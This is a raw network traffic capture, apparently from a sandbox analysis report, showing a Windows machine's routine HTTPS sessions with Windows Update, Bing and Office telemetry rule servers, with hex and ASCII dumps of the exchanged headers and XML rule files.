2024-11-28 16:24:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49765	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=luUdgOWlKypfoA7&MD=6dnX9G7X HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 16:24:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 79d55359-537d-45e5-8f01-c5b6aab14d19 MS-RequestId: fc5316f2-f2b9-41fe-8762-9e90afb052c8 MS-CV: LgxAKl+X6U++a0aQ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 16:24:27 GMT Connection: close Content-Length: 24490
2024-11-28 16:24:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 16:24:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49771	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:28 UTC	831	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8aEfdRlI2x0ohFQi3uztY3DVUCUxuMmdQk9f7Z6MnSfdQQwOL-imjb7BNojP1VypjR51G32IzTV3Wn6Uqz0OHQUX41f5A1eaiPkKJ16UofqneoVj-yr2F1UpIZi-SOhu5qtcxdCjCkr4y9tjvOgAHjsCUnE0KVSMdkOkKpWCxYZmivez6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D163990842d431198be7df7ccb46cb018&TIME=20241128T162424Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-28 16:24:28 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=2A3EEF8B4A5A68401A7CFACE4BD069C6; domain=.bing.com; expires=Tue, 23-Dec-2025 16:24:28 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Thu, 05-Dec-2024 16:24:28 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9779367AAAA842AAA0A020A1AB5DE982 Ref B: EWR311000103027 Ref C: 2024-11-28T16:24:28Z Date: Thu, 28 Nov 2024 16:24:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162428Z-174f7845968qj8jrhC1EWRh41s0000000yp0000000005vmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49776	2.18.82.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 16:24:29 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=35808 Date: Thu, 28 Nov 2024 16:24:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: dadfc1b6-201e-0096-500b-41ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162429Z-174f7845968pf68xhC1EWRr4h80000000yz00000000056n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162429Z-174f7845968xlwnmhC1EWR0sv80000000ykg0000000051g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:29 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162429Z-174f78459685726chC1EWRsnbg0000000yu0000000002qsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 3f9ecb84-b01e-0002-696f-401b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162430Z-174f7845968jrjrxhC1EWRmmrs0000000ytg00000000a1ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49787	2.18.82.9	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 16:24:31 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=35832 Date: Thu, 28 Nov 2024 16:24:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 16:24:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:31 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a230c581-101e-0034-3128-4096ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162431Z-174f7845968l4kp6hC1EWRe8840000000yug00000000fe14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:31 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162431Z-174f7845968zgtf6hC1EWRqd8s0000000rn000000000988n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:31 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162431Z-174f7845968kvnqxhC1EWRmf3g0000000hhg0000000042kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
